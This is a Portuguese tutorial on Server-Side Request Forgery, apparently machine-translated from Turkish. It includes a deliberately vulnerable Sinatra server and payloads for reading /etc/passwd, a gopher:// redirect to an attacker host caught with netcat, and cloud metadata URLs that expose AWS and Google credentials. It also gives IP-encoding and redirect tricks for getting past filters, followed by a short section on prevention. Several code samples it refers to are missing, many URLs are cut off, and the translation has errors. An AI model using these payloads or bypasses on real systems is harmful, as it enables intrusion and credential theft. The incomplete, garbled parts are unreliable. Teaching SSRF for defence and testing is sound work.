O que é SSRF?

SSRF (Server Side Request Forgery), que significa "falsificação de solicitação do lado do servidor" em turco, é a capacidade do invasor de enviar solicitações em nome de um aplicativo da web vulnerável. Atacante; Ele pode manipular solicitações de saída para o servidor de destino, modificar os parâmetros no aplicativo da Web vulnerável e manipular os destinos das solicitações. Esta vulnerabilidade surge porque os domínios e protocolos que permitem ao servidor web chamar recursos remotos não são verificados.

Em sua forma mais simples, em uma solicitação de recebimento de dados de um servidor remoto com uma aplicação web, podemos realizar um redirecionamento malicioso alterando o parâmetro da URL. Por exemplo;

GET /veri.php?url= http://www.uzakserver.com/ HTTP/1.1

Host: webuygulamasi.com

Vários cenários de ataque podem ser desenvolvidos usando SSRF. Vamos tentar entender a lógica com uma pequena demonstração.

Para salvar o código abaixo em um arquivo chamado server.rb e executar o código localmente, instalamos o pacote sinatra com o comando gem install sinatra . Em seguida , executamos com o comando ruby ​​server.rb .

require 'sinatra'
require 'open-uri'

get '/' do
format 'RESPONSE: %s', open(params[:url]).read
end

O código acima está rodando um servidor rodando na porta 4567 e esperando valor com URL parâmetro. Vamos ver como podemos explorar a vulnerabilidade do SSRF em um script simples que abre um arquivo com base no valor recebido
.
http://localhost:4567/?url=homepage abre o arquivo chamado homepage e mostra o conteúdo do arquivo para o usuário .
http://localhost:4567/?url=/etc/passwd Abre o arquivo /etc/passwd e exibe o conteúdo do arquivo para o usuário .
http://localhost:4567/?url=http://uzakserver.com envia uma solicitação para o URL especificado e imprime a saída na tela de acordo com a resposta .
Explorando a vulnerabilidade do SSRF
;
Reconhecimento e ataque a redes internas normalmente inacessíveis ,
Cross-site scripting, (SSRF para XSS refletido )
Execução remota de código, (SSRF para RCE )
Lendo um arquivo do servidor (SSRF para LFI )
Processando o servidor usando esquemas de URL (ftp://, dict://, http://, gopher://, file:// etc. )
Recuperando informações de metadados de serviços em nuvem ,
Atividades como ignorar a lista de permissões e resoluções de DNS podem ser realizadas .
Métodos de exploração de vulnerabilidade SSRF
Descoberta e ataque de rede interna :
Usando a vulnerabilidade SSRF, o acesso à rede interna pode ser obtido e estudos de reconhecimento podem ser realizados. Serviços como outros servidores e serviços (MSSQL, Kibana, MongoDB, Nginx, Samba) na rede interna podem ser descobertos e, mesmo que haja uma vulnerabilidade não atualizada, ela pode ser explorada e executar comandos.

Para executar uma varredura de porta em um aplicativo da Web com vulnerabilidade SSRF, primeiro precisamos salvar o seguinte código php em um arquivo e servi-lo com nosso próprio servidor.

Posteriormente, você pode executar a verificação de porta no servidor chamando esse arquivo em seu próprio servidor a partir do aplicativo da Web vulnerável ao SSRF.
http://webuygulamasi.com/?url=http://sa … tarama.php
Como resultado da verificação, você pode ver “OK” ao lado de portas abertas, “Inacessível” ao lado de portas fechadas e /etc/ services com a função getservbyport(). Você pode exibir um resultado muito mais compreensível comparando os nomes de serviço baseados em TCP e os números de porta abaixo
.
Script entre sites :
Os ataques XSS refletidos podem ser organizados usando a vulnerabilidade SSRF. Graças a esses ataques, as informações dos cookies dos usuários podem ser roubadas, redirecionadas para outra página e até mesmo um comando pode ser executado no navegador usando o BeeF.
Também podemos extrair o arquivo contendo o código javascript malicioso que usaremos ao editar o ataque XSS do servidor remoto.

http://webuygulamasi.com/?url=http://br … br/poc.svg
Agir usando esquemas de URL :
Usando esquemas de URL, podemos ler arquivos do servidor, bem como fazer o servidor funcionar com determinados métodos. Por exemplo;

Podemos chamar um arquivo do servidor usando file://. Este esquema também causa vulnerabilidade SSRF para LFI.

O protocolo http://webuygulamasi.com/?url=file:///etc/passwd

gopher:// permite que você explore ainda mais o servidor.

http://webuygulamasi.com/ssrf.php?url=h … gopher.php

(conteúdo da página gopher.php)

gopher.com/gopher.php
header('Location: gopher://aggressor .com:1337/_hello%0Assrf%0Atest');
?>

(com netcat, o invasor escuta na porta 1337 e a conexão cai.)

attacker:# nc -lvp 1337
Escutando em [0.0.0.0] (família 0, porta 1337)
Conexão da porta [192.168.0.12] 1337 [tcp/*] aceita (família 2, esporte 49398)
hello
ssrf
test

dict:// protocol se o aplicativo usa cURL em solicitações Podemos usá-lo para fazer uma solicitação a um servidor ou enviar dados.

http://webuygulamasi.com/ssrf.php?dict: … .com:1337/

(o invasor escuta a porta 1337 com netcat e o serviço é exibido.)
saldirgan.com:$ nc -lvp 1337
Conexão de [ 192.168.0.12] porta 1337 [tcp/*] aceita (família 2, esporte 31126)
CLIENT libcurl 7.40
.
Execução remota de código :
Uma vulnerabilidade de execução remota de código também pode ser acionada, dependendo de como um aplicativo Web vulnerável a SSRF lida com solicitações do servidor remoto.

Vejamos um exemplo de uma vulnerabilidade SSRF para RCE descoberta anteriormente em servidores Weblogic.

A vulnerabilidade SSRF descoberta no parâmetro operator em servidores weblogic e a solicitação HTTP feita ao endereço IP do servidor redis localizado na mesma rede local que o servidor weblogic são mostrados abaixo.

Um shell script pode ser adicionado como um crontab enviando uma solicitação HTTP para o servidor redis na rede local via weblogic com os 3 comandos a seguir.

O comando acima é enviado ao servidor redis por meio do parâmetro SSRF codificando a URL.

Quando o shell script é executado, o comando pode ser executado com privilégios de root.

Para uma análise detalhada da vulnerabilidade:
https://github.com/vulhub/vulhub/tree/m … logic/ssrf
Lendo um arquivo do servidor :
Os arquivos podem ser lidos usando o esquema file:// em um servidor verificado pelo SSRF.

Recuperando informações de metadados de serviços em nuvem :
Como resultado de um SSRF detectado em um servidor Amazon Could, o serviço interno que pode consultar metadados sobre o host para cada EC2 pode ser explorado de fora. Se você encontrou uma vulnerabilidade SSRF no EC2, pode tentar as seguintes solicitações:

http://ip_address/latest/meta-data/
http://ip_address/latest/user-data/
http://ip_address/latest/meta- data/iam /security-credentials/IAM_USER_ROLE_HERE
http://ip_address/latest/meta-data/iam/security-credentials/PhotonInstance

Como resultado das consultas acima, informações críticas como chave AWS, chave SSH podem ser obtidas.

As mesmas condições se aplicam ao Google Cloud. As consultas que podem ser feitas para o Google Cloud são mostradas abaixo.

http://ip_address/computeMetadata/v1beta1/instance/service-accounts/default/token
http://ip_address/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

A consulta abaixo para extração de metadados da Digital Ocean pode ser tentado.

http:
//ip_address/metadata/v1.json
Métodos de Prevenção de Vulnerabilidade SSRF
Resolução de DNS e lista de permissões :
A maneira mais confiável de evitar ameaças SSRF é colocar na lista de permissões o nome DNS ou o endereço IP que seu aplicativo precisa acessar. Se a abordagem de lista branca não for adequada para você, você pode criar uma lista negra e manter os endereços IP nos quais não confia. O importante aqui é verificar o acesso do usuário.
Também podemos pensar nisso como uma forma de reduzir inúmeras possibilidades para o método da lista negra. Como não existe um método de prevenção universal para SSRF, deve ser usado em caso de necessidade
.
Desativando esquemas de URL não utilizados :
Se seu aplicativo usar apenas HTTP ou HTTPS para fazer solicitações, permita apenas esses esquemas de URL. Se você desabilitar esquemas de URL não utilizados, um invasor não poderá usar o aplicativo da Web para fazer solicitações usando esquemas perigosos, como file://, dict://, ftp:// e gopher://
.
Autenticação para Acesso a Serviços na Rede Interna :
Por padrão, serviços como Memcached, Redis, Elasticsearch e MongoDB não exigem aprovação. Um invasor pode acessar esses serviços sem autenticação. Por esse motivo, é necessário habilitar ao máximo a autenticação para serviços na rede local
.
Manipulação de resposta do lado do servidor :
As respostas que os invasores recebem do servidor com SSRF para fins de exploração serão diferentes do normal. As respostas ou solicitações enviadas do servidor não devem ser verificadas e transmitidas à medida que são geradas. Caso contrário, as respostas dadas com SSRF serão desmarcadas de acordo com a solicitação do invasor
.
Métodos de desvio de proteção SSRF
A única maneira de contornar o método da lista branca é redirecionar de um site dentro da lista branca.

Por exemplo , vamos supor que http://GuardedSite.com permite redirecionamentos para http://abc.xyz e você descobriu uma vulnerabilidade SSRF em http://GuardedSite.com .

http://GuardedSite.com/ssrf.php?url=http://attacker.com O redirecionamento não ocorre. Porque attacker.com não está incluído na lista de permissões.

http://GuardedSite.com/ssrf.php?url=htt … acker.comO redirecionamento acontece com sucesso. Porque o site abc.xyz está incluído na lista de permissões e os redirecionamentos deste site não podem ser controlados pelo aplicativo da web e o redirecionamento ocorre.

Em outro exemplo , vamos supor que o site http://GuardedSite.com permite redirecionamentos para http://*.abc.xyz e você descobriu uma vulnerabilidade SSRF no site http://GuardedSite.com . Ao mesmo tempo, digamos que você descobriu uma vulnerabilidade de aquisição de subdomínio no site abc.xyz.
As referências que você fizer enquanto mantém o subdomínio http://subdomain.abc.xyz também serão aceitas.
Então em outras palavrasO redirecionamento http://GuardedSite.com/ssrf.php?url=htt … tacker.com ocorrerá com sucesso.

Em alguns cenários, escrever o endereço IP no formato hexadecimal permite ignorar a filtragem da lista negra.

Por exemplo; Vamos supor que o endereço IP do roteador esteja impedido de acessar o aplicativo da web com o método de lista negra. Traduzido como
http://192.168.0.1 com ponto será equivalente a -- e sem ponto como http://0xc0a80001 . Se a filtragem puder ser excedida, uma solicitação será enviada ao roteador.

Da mesma forma, a representação decimal ou octal de um endereço IP na lista negra também pode ignorar a filtragem.
-- como decimal, http://3232235521/ será equivalente a -- quando traduzido como octal . Se a filtragem puder ser excedida, uma solicitação será enviada ao roteador.

Usar o vetor IPv6 como um método diferente nos permite contornar o método da lista negra. Por exemplo, [::] nos permite chamar localhost na filtragem de URL.
Vamos ilustrar com um exemplo: vamos examinar uma vulnerabilidade SSRF encontrada na API do Slack. (Relatório detalhado: https://hackerone.com/reports/386292 )

Quando um URL em conformidade com os padrões da API não é adicionado, uma mensagem de erro é retornada com o seguinte código de erro HTTP 500.

O invasor criou uma página x.php em seu próprio servidor e escreveu os seguintes códigos nos quais poderia redirecionar com o parâmetro u.

No entanto, ele deseja executar uma varredura de porta redirecionando-o para localhost. Para isso, por exemplo , quando a URL é especificada como http://[::]:22/ , uma requisição é enviada para a porta SSH. Como a porta SSH está aberta, a resposta é a seguinte.

Porém, ao tentar uma porta que não está aberta, como a número 66, ele apresenta um erro ao enviar uma requisição da seguinte forma.